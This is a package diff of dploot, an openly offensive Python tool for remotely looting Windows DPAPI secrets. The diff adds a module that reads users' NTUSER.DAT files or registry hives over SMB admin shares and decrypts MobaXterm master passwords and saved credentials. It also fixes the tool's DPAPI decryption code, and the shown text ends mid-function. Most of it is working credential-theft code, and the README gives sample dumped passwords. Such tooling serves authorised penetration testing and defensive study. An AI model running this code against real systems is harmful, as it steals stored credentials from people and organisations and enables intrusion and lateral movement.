dploot 2.6.2__tar.gz → 2.7.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (41) hide show
  1. {dploot-2.6.2 → dploot-2.7.0}/PKG-INFO +29 -1
  2. {dploot-2.6.2 → dploot-2.7.0}/README.md +28 -0
  3. dploot-2.7.0/dploot/action/mobaxterm.py +96 -0
  4. {dploot-2.6.2 → dploot-2.7.0}/dploot/entry.py +2 -0
  5. {dploot-2.6.2 → dploot-2.7.0}/dploot/lib/crypto.py +1 -1
  6. {dploot-2.6.2 → dploot-2.7.0}/dploot/lib/dpapi.py +35 -35
  7. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/certificates.py +15 -11
  8. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/masterkeys.py +4 -2
  9. dploot-2.7.0/dploot/triage/mobaxterm.py +365 -0
  10. {dploot-2.6.2 → dploot-2.7.0}/pyproject.toml +1 -1
  11. {dploot-2.6.2 → dploot-2.7.0}/LICENSE +0 -0
  12. {dploot-2.6.2 → dploot-2.7.0}/dploot/__init__.py +0 -0
  13. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/__init__.py +0 -0
  14. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/backupkey.py +0 -0
  15. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/browser.py +0 -0
  16. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/certificates.py +0 -0
  17. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/credentials.py +0 -0
  18. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/machinecertificates.py +0 -0
  19. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/machinecredentials.py +0 -0
  20. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/machinemasterkeys.py +0 -0
  21. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/machinetriage.py +0 -0
  22. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/machinevaults.py +0 -0
  23. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/masterkeys.py +0 -0
  24. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/rdg.py +0 -0
  25. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/sccm.py +0 -0
  26. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/triage.py +0 -0
  27. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/vaults.py +0 -0
  28. {dploot-2.6.2 → dploot-2.7.0}/dploot/action/wifi.py +0 -0
  29. {dploot-2.6.2 → dploot-2.7.0}/dploot/lib/__init__.py +0 -0
  30. {dploot-2.6.2 → dploot-2.7.0}/dploot/lib/smb.py +0 -0
  31. {dploot-2.6.2 → dploot-2.7.0}/dploot/lib/target.py +0 -0
  32. {dploot-2.6.2 → dploot-2.7.0}/dploot/lib/utils.py +0 -0
  33. {dploot-2.6.2 → dploot-2.7.0}/dploot/lib/wmi.py +0 -0
  34. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/__init__.py +0 -0
  35. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/backupkey.py +0 -0
  36. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/browser.py +0 -0
  37. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/credentials.py +0 -0
  38. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/rdg.py +0 -0
  39. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/sccm.py +0 -0
  40. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/vaults.py +0 -0
  41. {dploot-2.6.2 → dploot-2.7.0}/dploot/triage/wifi.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: dploot
3
- Version: 2.6.2
3
+ Version: 2.7.0
4
4
  Summary: DPAPI looting remotely in Python
5
5
  Home-page: https://github.com/zblurx/dploot
6
6
  License: MIT
@@ -60,6 +60,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
60
60
  - [wifi](#wifi)
61
61
  - [sccm](#sccm)
62
62
  - [backupkey](#backupkey)
63
+ - [mobaxterm](#mobaxterm)
63
64
  - [Credits](#credits)
64
65
  - [TODO](#TODO)
65
66
 
@@ -741,6 +742,33 @@ PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a40000
741
742
  [-] Exporting domain backupkey to file key.pvk
742
743
  ```
743
744
 
745
+ ### mobaxterm
746
+
747
+ The **mobaxterm** command will extract MobaXterm secrets and masterpassword key from hive (HKU) and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys. If the user is not connected on the remote target, dploot will download and extract secrets from NTUSER.dat.
748
+
749
+ With `pvk`:
750
+
751
+ ```text
752
+ dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
753
+ [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
754
+
755
+ [*] Triage ALL USERS masterkeys
756
+
757
+ {6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e
758
+ {21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e
759
+
760
+ [*] Triage MobaXterm Secrets
761
+
762
+ [MOBAXTERM CREDENTIAL]
763
+ Name: TEST
764
+ Username: user
765
+ Password: waza1234
766
+
767
+ [MOBAXTERM PASSWORD]
768
+ Username: mobauser@mobaserver
769
+ Password: 309554moba231082pass322883
770
+ ```
771
+
744
772
  ## Credits
745
773
 
746
774
  Those projects helped a lot in writting this tool:
@@ -34,6 +34,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
34
34
  - [wifi](#wifi)
35
35
  - [sccm](#sccm)
36
36
  - [backupkey](#backupkey)
37
+ - [mobaxterm](#mobaxterm)
37
38
  - [Credits](#credits)
38
39
  - [TODO](#TODO)
39
40
 
@@ -715,6 +716,33 @@ PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a40000
715
716
  [-] Exporting domain backupkey to file key.pvk
716
717
  ```
717
718
 
719
+ ### mobaxterm
720
+
721
+ The **mobaxterm** command will extract MobaXterm secrets and masterpassword key from hive (HKU) and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys. If the user is not connected on the remote target, dploot will download and extract secrets from NTUSER.dat.
722
+
723
+ With `pvk`:
724
+
725
+ ```text
726
+ dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
727
+ [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
728
+
729
+ [*] Triage ALL USERS masterkeys
730
+
731
+ {6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e
732
+ {21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e
733
+
734
+ [*] Triage MobaXterm Secrets
735
+
736
+ [MOBAXTERM CREDENTIAL]
737
+ Name: TEST
738
+ Username: user
739
+ Password: waza1234
740
+
741
+ [MOBAXTERM PASSWORD]
742
+ Username: mobauser@mobaserver
743
+ Password: 309554moba231082pass322883
744
+ ```
745
+
718
746
  ## Credits
719
747
 
720
748
  Those projects helped a lot in writting this tool:
@@ -0,0 +1,96 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
7
+ from dploot.lib.smb import DPLootSMBConnection
8
+ from dploot.lib.target import Target, add_target_argument_group
9
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
10
+ from dploot.triage.mobaxterm import MobaXtermTriage
11
+
12
+ NAME = 'mobaxterm'
13
+
14
+ class MobaXtermAction:
15
+
16
+ def __init__(self, options: argparse.Namespace) -> None:
17
+ self.options = options
18
+ self.target = Target.from_options(options)
19
+
20
+ self.conn = None
21
+ self._is_admin = None
22
+ self._users = None
23
+ self.outputdir = None
24
+ self.masterkeys = None
25
+ self.pvkbytes = None
26
+
27
+ if self.options.mkfile is not None:
28
+ try:
29
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
30
+ except Exception as e:
31
+ logging.error(str(e))
32
+ sys.exit(1)
33
+
34
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target)
35
+
36
+ def connect(self) -> None:
37
+ self.conn = DPLootSMBConnection(self.target)
38
+ if self.conn.connect() is None:
39
+ logging.error("Could not connect to %s" % self.target.address)
40
+ sys.exit(1)
41
+
42
+ def run(self) -> None:
43
+ self.connect()
44
+ logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else "")))
45
+ if self.is_admin:
46
+ if self.masterkeys is None:
47
+ masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords)
48
+ logging.info("Triage ALL USERS masterkeys\n")
49
+ self.masterkeys = masterkeytriage.triage_masterkeys()
50
+ if not self.options.quiet:
51
+ for masterkey in self.masterkeys:
52
+ masterkey.dump()
53
+ print()
54
+
55
+ triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
56
+ logging.info("Triage MobaXterm Secrets\n")
57
+ _, credentials = triage.triage_mobaxterm()
58
+ for credential in credentials:
59
+ if self.options.quiet:
60
+ credential.dump_quiet()
61
+ else:
62
+ credential.dump()
63
+
64
+ else:
65
+ logging.info("Not an admin, exiting...")
66
+
67
+ @property
68
+ def is_admin(self) -> bool:
69
+ if self._is_admin is not None:
70
+ return self._is_admin
71
+
72
+ self._is_admin = self.conn.is_admin()
73
+ return self._is_admin
74
+
75
+ def entry(options: argparse.Namespace) -> None:
76
+ a = MobaXtermAction(options)
77
+ a.run()
78
+
79
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
80
+
81
+ subparser = subparsers.add_parser(NAME, help="Dump Passwords and Credentials from MobaXterm")
82
+
83
+ group = subparser.add_argument_group("mobaxterm options")
84
+
85
+ group.add_argument(
86
+ "-mkfile",
87
+ action="store",
88
+ help=(
89
+ "File containing {GUID}:SHA1 masterkeys mappings"
90
+ ),
91
+ )
92
+
93
+ add_masterkeys_argument_group(group)
94
+ add_target_argument_group(subparser)
95
+
96
+ return NAME, entry
@@ -22,6 +22,7 @@ from dploot.action import (
22
22
  machinetriage,
23
23
  browser,
24
24
  wifi,
25
+ mobaxterm,
25
26
  )
26
27
 
27
28
 
@@ -41,6 +42,7 @@ ENTRY_PARSERS = [
41
42
  machinetriage,
42
43
  browser,
43
44
  wifi,
45
+ mobaxterm,
44
46
  ]
45
47
 
46
48
  def main() -> None:
@@ -242,13 +242,13 @@ def decrypt_chrome_password(encrypted_password: str, aeskey: bytes):
242
242
 
243
243
  def deriveKeysFromUser(sid, password):
244
244
  password = password.encode('utf-16le')
245
- sid = sid.encode('utf-16le')
246
245
  z_sid = (sid + '\0').encode('utf-16le')
247
246
  password_md4 = MD4.new(password).digest()
248
247
  # Will generate two keys, one with SHA1 and another with MD4
249
248
  key1 = HMAC.new(SHA1.new(password).digest(), z_sid, SHA1).digest()
250
249
  key2 = HMAC.new(password_md4, z_sid, SHA1).digest()
251
250
  # For Protected users
251
+ sid = sid.encode('utf-16le')
252
252
  tmpKey = pbkdf2_hmac('sha256', password_md4, sid, 10000)
253
253
  tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid, 1)[:16]
254
254
  key3 = HMAC.new(tmpKey2, z_sid, SHA1).digest()[:20]
@@ -198,56 +198,56 @@ def decrypt_blob(blob_bytes:bytes, masterkey:Any, entropy = None) -> Any:
198
198
  key = unhexlify(masterkey.sha1)
199
199
  decrypted = None
200
200
  if entropy is not None:
201
- decrypted = blob.decrypt(blob, key, entropy=entropy)
201
+ decrypted = decrypt(blob, key, entropy=entropy)
202
202
  else:
203
203
  decrypted = decrypt(blob, key)
204
204
  return decrypted
205
205
 
206
206
  def decrypt(blob, keyHash, entropy = None) -> "bytes | None":
207
207
  hash_algo = ALGORITHMS_DATA[blob['HashAlgo']][1]
208
- sessionKey = HMAC.new(keyHash, blob['Salt'], hash_algo)
209
- if entropy is not None:
210
- sessionKey.update(entropy)
211
-
212
- sessionKey = sessionKey.digest()
213
-
214
- # Derive the key
215
- derivedKey = blob.deriveKey(sessionKey)
216
-
217
- crypto = ALGORITHMS_DATA[blob['CryptAlgo']]
218
- cipher = crypto[1].new(derivedKey[:crypto[0]], mode=crypto[2], iv=b'\x00'*crypto[3])
219
- cleartext = unpad(cipher.decrypt(blob['Data']), crypto[1].block_size)
220
-
221
- # Now check the signature
222
-
223
- # ToDo Fix this, it's just ugly, more testing so we can remove one
224
- toSign = (blob.rawData[20:][:len(blob.rawData)-20-len(blob['Sign'])-4])
225
-
226
- # Calculate the different HMACKeys
227
208
  block_size = hash_algo.block_size
228
- pad_block = keyHash.ljust(block_size, b'\x00')
209
+ for algo in [compute_sessionKey_1, compute_sessionKey_2]:
210
+ sessionKey = algo(keyHash, blob['Salt'], hash_algo, block_size, entropy)
211
+ sessionKey = sessionKey.digest()
212
+ derivedKey = blob.deriveKey(sessionKey)
213
+ crypto = ALGORITHMS_DATA[blob['CryptAlgo']]
214
+ cipher = crypto[1].new(derivedKey[:crypto[0]], mode=crypto[2], iv=b'\x00'*crypto[3])
215
+ cleartext = cipher.decrypt(blob['Data'])
216
+ try:
217
+ cleartext = unpad(cleartext, crypto[1].block_size)
218
+ except ValueError as e:
219
+ if "Padding is incorrect" in str(e):
220
+ pass
221
+ # Now check the signature
222
+ # ToDo Fix this, it's just ugly, more testing so we can remove one
223
+ toSign = (blob.rawData[20:][:len(blob.rawData)-20-len(blob['Sign'])-4])
224
+ hmac_calculated = algo(keyHash, blob['HMac'], hash_algo, block_size, entropy)
225
+ hmac_calculated.update(toSign)
226
+ if blob['Sign'] == hmac_calculated.digest():
227
+ return cleartext
228
+ return None
229
+
230
+ def compute_sessionKey_1(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes):
231
+ pad_block = key_hash.ljust(block_size, b'\x00')
229
232
  ipad = bytearray(i ^ 0x36 for i in pad_block)
230
233
  opad = bytearray(i ^ 0x5c for i in pad_block)
234
+
231
235
  a = hash_algo.new(ipad)
232
- a.update(blob['HMac'])
236
+ a.update(salt)
233
237
 
234
- hmacCalculated1 = hash_algo.new(opad)
235
- hmacCalculated1.update(a.digest())
238
+ computed_key = hash_algo.new(opad)
239
+ computed_key.update(a.digest())
236
240
 
237
241
  if entropy is not None:
238
- hmacCalculated1.update(entropy)
239
-
240
- hmacCalculated1.update(toSign)
242
+ computed_key.update(entropy)
243
+ return computed_key
241
244
 
242
- hmacCalculated3 = HMAC.new(keyHash, blob['HMac'], hash_algo)
245
+ def compute_sessionKey_2(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes):
246
+ computed_key = HMAC.new(key_hash, salt, hash_algo)
243
247
  if entropy is not None:
244
- hmacCalculated3.update(entropy)
245
-
246
- hmacCalculated3.update(toSign)
247
-
248
- if blob['Sign'] in (hmacCalculated1.digest(), hmacCalculated3.digest()):
249
- return cleartext
250
- return None
248
+ computed_key.update(entropy)
249
+
250
+ return computed_key
251
251
 
252
252
  def find_masterkey_for_blob(blob_bytes:bytes, masterkeys: Any) -> "Any | None":
253
253
  blob = DPAPI_BLOB(blob_bytes)
@@ -5,6 +5,7 @@ from typing import Dict, List, Tuple
5
5
  from dataclasses import dataclass
6
6
 
7
7
  from impacket.dcerpc.v5 import rrp
8
+ from impacket.system_errors import ERROR_NO_MORE_ITEMS
8
9
 
9
10
  from Cryptodome.PublicKey import RSA
10
11
  from cryptography import x509
@@ -99,18 +100,21 @@ class CertificatesTriage:
99
100
  certificates = {}
100
101
  ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, my_certificates_key, samDesired=rrp.KEY_ENUMERATE_SUB_KEYS)
101
102
  keyHandle = ans['phkResult']
102
- try:
103
- for index in range(100):
104
- enum_ans = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, index)
103
+ i = 0
104
+ while True:
105
+ try:
106
+ enum_ans = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i)
105
107
  certificate_keys.append(enum_ans['lpNameOut'][:-1])
106
- rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
107
- except rrp.DCERPCSessionError as e:
108
- if e.error_code == 0x00000103:
109
- pass
110
- elif logging.getLogger().level == logging.DEBUG:
111
- import traceback
112
- traceback.print_exc()
113
- logging.debug(str(e))
108
+ i += 1
109
+ except rrp.DCERPCSessionError as e:
110
+ if e.get_error_code() == ERROR_NO_MORE_ITEMS:
111
+ break
112
+ except Exception as e:
113
+ import traceback
114
+ traceback.print_exc()
115
+ logging.error(str(e))
116
+ rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
117
+
114
118
  for certificate_key in certificate_keys:
115
119
  try:
116
120
  regKey = my_certificates_key + '\\' + certificate_key
@@ -106,8 +106,10 @@ class MasterkeysTriage:
106
106
  try:
107
107
  masterkeys += self.triage_masterkeys_for_user(user)
108
108
  except Exception as e:
109
- logging.debug(str(e))
110
- pass
109
+ if logging.getLogger().level == logging.DEBUG:
110
+ import traceback
111
+ traceback.print_exc()
112
+ logging.debug(str(e))
111
113
  return masterkeys
112
114
 
113
115
  def triage_masterkeys_for_user(self, user:str) -> List[Masterkey]:
@@ -0,0 +1,365 @@
1
+ from base64 import b64decode
2
+ import logging
3
+ import ntpath
4
+ import tempfile
5
+ from typing import List, Tuple
6
+ from Cryptodome.Cipher import AES
7
+
8
+ from impacket import winregistry
9
+ from impacket.dcerpc.v5 import rrp
10
+ from impacket.system_errors import ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND
11
+
12
+ from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
13
+ from dploot.lib.smb import DPLootSMBConnection
14
+ from dploot.lib.target import Target
15
+ from dploot.triage.masterkeys import Masterkey
16
+ from dataclasses import dataclass
17
+
18
+ @dataclass
19
+ class MobaXtermPassword:
20
+ winuser: str
21
+ username: str
22
+ password_encrypted: bytes
23
+ password: bytes = None
24
+
25
+ def decrypt(self, masterpassword_key):
26
+ iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt(b'\x00' * AES.block_size)
27
+ cipher = AES.new(key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8)
28
+ self.password = cipher.decrypt(b64decode(self.password_encrypted))
29
+
30
+ def dump(self) -> None:
31
+ print("[MOBAXTERM PASSWORD]")
32
+ print("Username:\t%s" % self.username)
33
+ if self.password is not None:
34
+ print("Password:\t%s" % self.password.decode('latin-1'))
35
+ print()
36
+
37
+ def dump_quiet(self) -> None:
38
+ print("[MOBAXTERM PASSWORD] %s:%s" % (self.username, self.password))
39
+
40
+ @dataclass
41
+ class MobaXtermCredential:
42
+ winuser: str
43
+ name: str
44
+ username: str
45
+ password_encrypted: bytes
46
+ password: bytes = None
47
+
48
+ def decrypt(self, masterpassword_key):
49
+ iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt(b'\x00' * AES.block_size)
50
+ cipher = AES.new(key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8)
51
+ self.password = cipher.decrypt(b64decode(self.password_encrypted))
52
+
53
+ def dump(self) -> None:
54
+ print("[MOBAXTERM CREDENTIAL]")
55
+ print("Name:\t\t%s" % self.name)
56
+ print("Username:\t%s" % self.username)
57
+ if self.password is not None:
58
+ print("Password:\t%s" % self.password.decode('latin-1'))
59
+ print()
60
+
61
+ def dump_quiet(self) -> None:
62
+ print("[MOBAXTERM CREDENTIAL] %s - %s:%s" % (self.name, self.username, self.password))
63
+
64
+ @dataclass
65
+ class MobaXtermMasterPassword:
66
+ winuser: str
67
+ username: str
68
+ host: str
69
+ entropy: bytes
70
+ masterpassword_raw_value: bytes
71
+ masterpassword_decrypted: bytes = None
72
+
73
+ def decrypt_masterpassword_raw_value(self, masterkeys):
74
+ dpapi_blob = bytes.fromhex("01000000d08c9ddf0115d1118c7a00c04fc297eb") + b64decode(self.masterpassword_raw_value)
75
+ masterkey = find_masterkey_for_blob(dpapi_blob, masterkeys)
76
+ if masterkey is not None:
77
+ self.masterpassword_decrypted = decrypt_blob(blob_bytes=dpapi_blob, masterkey=masterkey, entropy=self.entropy)
78
+
79
+ def dump(self) -> None:
80
+ print("[MOBAXTERM MASTERPASSWORD KEY]")
81
+ print("Host:\t\t\t%s" % self.host)
82
+ print("Username:\t\t%s" % self.username)
83
+ if self.masterpassword_decrypted is not None:
84
+ print("MasterPassword Key:\t%s" % b64decode(self.masterpassword_decrypted).hex())
85
+ print()
86
+
87
+ def dump_quiet(self) -> None:
88
+ print("[MOBAXTERM MASTERPASSWORD KEY] %s - %s - %s" % (self.host, self.username, b64decode(self.masterpassword_decrypted).hex()))
89
+
90
+ class MobaXtermTriage:
91
+ false_positive = [".","..", "desktop.ini","Public","Default","Default User","All Users"]
92
+ mobaxterm_registry_key_path = "Software\\Mobatek\\MobaXterm"
93
+ mobaxterm_sessionp_key_path = ntpath.join(mobaxterm_registry_key_path,"SessionP")
94
+ mobaxterm_masterpassword_registry_key = "M"
95
+ mobaxterm_passwords_registry_key = "P"
96
+ mobaxterm_credentials_registry_key = "C"
97
+
98
+ ntuser_dat_path = "Users\\{username}\\NTUSER.DAT"
99
+ share = "C$"
100
+
101
+ def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None:
102
+ self.target = target
103
+ self.conn = conn
104
+
105
+ self._users = None
106
+ self.masterkeys = masterkeys
107
+
108
+ def triage_mobaxterm(self) -> Tuple[List[MobaXtermMasterPassword], List[MobaXtermCredential | MobaXtermPassword]]:
109
+ logging.getLogger("impacket").disabled = True
110
+ mobaxterm_credentials = []
111
+ mobaxterm_masterpassword_key = []
112
+ for user,sid in self.users.items():
113
+ try:
114
+ masterpassword_key, credentials = self.triage_mobaxterm_for_user(user,sid)
115
+ if masterpassword_key is not None:
116
+ mobaxterm_credentials += credentials
117
+ mobaxterm_masterpassword_key.append(masterpassword_key)
118
+ except Exception as e:
119
+ if logging.getLogger().level == logging.DEBUG:
120
+ import traceback
121
+ traceback.print_exc()
122
+ logging.debug(str(e))
123
+ return mobaxterm_masterpassword_key, mobaxterm_credentials
124
+
125
+ def triage_mobaxterm_for_user(self, user: str, sid: str = None) -> Tuple[MobaXtermMasterPassword, List[MobaXtermCredential | MobaXtermPassword]]:
126
+ mobaxterm_masterpassword = None
127
+ mobaxterm_credentials = []
128
+ try:
129
+ ntuser_dat_bytes = self.conn.readFile(self.share,self.ntuser_dat_path.format(username=user))
130
+ except Exception as e:
131
+ import traceback
132
+ traceback.print_exc()
133
+ logging.error(e)
134
+ if ntuser_dat_bytes is None:
135
+ mobaxterm_masterpassword, mobaxterm_credentials = self.extract_mobaxtermkeys_for_user_from_remote_registry(user,sid)
136
+ else:
137
+ # Preparing NTUSER.DAT file
138
+ fh = tempfile.NamedTemporaryFile()
139
+ fh.write(ntuser_dat_bytes)
140
+ fh.seek(0)
141
+
142
+ # Extracting everything
143
+ mobaxterm_masterpassword, mobaxterm_credentials = self.extract_mobaxtermkeys_for_user_from_ntuser_dat(fh.name, user)
144
+
145
+
146
+ if mobaxterm_masterpassword is None:
147
+ return None, []
148
+ self.decrypt_mobaxterm_masterpassword(mobaxterm_masterpassword)
149
+ logging.debug(f"Found Mobaxterm MasterPassword for user {user}")
150
+ mobaxterm_key = b64decode(mobaxterm_masterpassword.masterpassword_decrypted)[0:32]
151
+ for credential in mobaxterm_credentials:
152
+ credential.decrypt(mobaxterm_key)
153
+
154
+ return mobaxterm_masterpassword, mobaxterm_credentials
155
+
156
+ def extract_mobaxtermkeys_for_user_from_ntuser_dat(self, ntuser_dat_filename: str, user: str) -> Tuple[MobaXtermMasterPassword, List[MobaXtermCredential | MobaXtermPassword]]:
157
+ reg = winregistry.Registry(ntuser_dat_filename, isRemote=False)
158
+ parent_key = reg.findKey(self.mobaxterm_registry_key_path)
159
+ if parent_key is None:
160
+ # MobaXterm is not installed for this user
161
+ return None, []
162
+ logging.debug(f"Found MobaXterm registry keys for user {user}")
163
+
164
+ mobaxterm_masterpassword_key = None
165
+ mobaxterm_credentials = []
166
+
167
+ try:
168
+ entropy = reg.getValue(self.mobaxterm_sessionp_key_path)[1]
169
+ entropy = entropy.decode('utf-16le').rstrip('\0').encode()
170
+ except Exception as e:
171
+ if logging.getLogger().level == logging.DEBUG:
172
+ import traceback
173
+ traceback.print_exc()
174
+ logging.debug(str(e))
175
+
176
+
177
+ try:
178
+ key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_masterpassword_registry_key)
179
+ new_key = reg.findKey(key_path)
180
+ values = reg.enumValues(new_key)
181
+ data = reg.getValue(ntpath.join(key_path,values[-1].decode("utf-8")))
182
+ username, host = values[-1].decode("utf-8").split("@")
183
+ mobaxterm_masterpassword_key = MobaXtermMasterPassword(
184
+ winuser=user,
185
+ username=username,
186
+ host=host,
187
+ entropy=entropy,
188
+ masterpassword_raw_value=data[1],
189
+ )
190
+ except Exception as e:
191
+ if logging.getLogger().level == logging.DEBUG:
192
+ import traceback
193
+ traceback.print_exc()
194
+ logging.debug(str(e))
195
+
196
+ try:
197
+ key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_credentials_registry_key)
198
+ key = reg.findKey(key_path)
199
+ values = reg.enumValues(key)
200
+ logging.debug(f"Found {len(values)} Mobaxterm Credentials for user {user}")
201
+ for value in values:
202
+ data = reg.getValue(ntpath.join(key_path, value.decode('latin-1')))
203
+ username, password_encrypted = data[1].decode('latin-1').split(':')
204
+ mobaxterm_credential = MobaXtermCredential(
205
+ winuser=user,
206
+ name=value.decode('latin-1'),
207
+ username=username,
208
+ password_encrypted=password_encrypted,
209
+ )
210
+ mobaxterm_credentials.append(mobaxterm_credential)
211
+ except Exception as e:
212
+ if logging.getLogger().level == logging.DEBUG:
213
+ import traceback
214
+ traceback.print_exc()
215
+ logging.debug(str(e))
216
+
217
+ try:
218
+ key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_passwords_registry_key)
219
+ key = reg.findKey(key_path)
220
+ values = reg.enumValues(key)
221
+ logging.debug(f"Found {len(values)} Mobaxterm Passwords for user {user}")
222
+ for value in values:
223
+ data = reg.getValue(ntpath.join(key_path, value.decode('utf-8')))
224
+ mobaxterm_credential = MobaXtermPassword(
225
+ winuser=user,
226
+ username=value.decode('latin-1'),
227
+ password_encrypted=data[-1].decode('latin-1')
228
+ )
229
+ mobaxterm_credentials.append(mobaxterm_credential)
230
+ except Exception as e:
231
+ if logging.getLogger().level == logging.DEBUG:
232
+ import traceback
233
+ traceback.print_exc()
234
+ logging.debug(str(e))
235
+ return mobaxterm_masterpassword_key, mobaxterm_credentials
236
+
237
+ def decrypt_mobaxterm_masterpassword(self, mobaxterm_masterpassword: MobaXtermMasterPassword, entropy: bytes = None) -> None:
238
+ if entropy is not None:
239
+ mobaxterm_masterpassword.entropy = entropy
240
+ mobaxterm_masterpassword.decrypt_masterpassword_raw_value(masterkeys=self.masterkeys)
241
+
242
+ def decrypt_mobaxterm_password(self, mobaxterm_password: MobaXtermCredential|MobaXtermPassword, mobaxterm_masterpassword: MobaXtermMasterPassword) -> None:
243
+ mobaxterm_password.decrypt(masterpassword_key=mobaxterm_masterpassword.masterpassword_decrypted)
244
+
245
+ def extract_mobaxtermkeys_for_user_from_remote_registry(self, user: str, sid: str) -> Tuple[MobaXtermMasterPassword, List[MobaXtermCredential | MobaXtermPassword]]:
246
+ self.conn.enable_remoteops()
247
+
248
+ entropy = None
249
+ mobaxterm_masterpassword_key = None
250
+ mobaxterm_credentials = []
251
+
252
+ # Extract entropy
253
+ ans = rrp.hOpenUsers(self.conn.remote_ops._RemoteOperations__rrp)
254
+ regHandle = ans["phKey"]
255
+ regKey = ntpath.join(sid,self.mobaxterm_registry_key_path)
256
+ keyHandle = None
257
+ try:
258
+ ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, regKey, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
259
+ keyHandle = ans2["phkResult"]
260
+ _, entropy = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'SessionP')
261
+ entropy = entropy.rstrip("\00").encode('utf-8')
262
+ rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
263
+ except rrp.DCERPCSessionError as e:
264
+ if e.get_error_code() != ERROR_FILE_NOT_FOUND:
265
+ import traceback
266
+ traceback.print_exc()
267
+ logging.error(f"Error while hBaseRegOpenKey HKU\\{regKey}: {e}")
268
+ return None, []
269
+
270
+ # Extract M
271
+ try:
272
+ ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(regKey,self.mobaxterm_masterpassword_registry_key), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
273
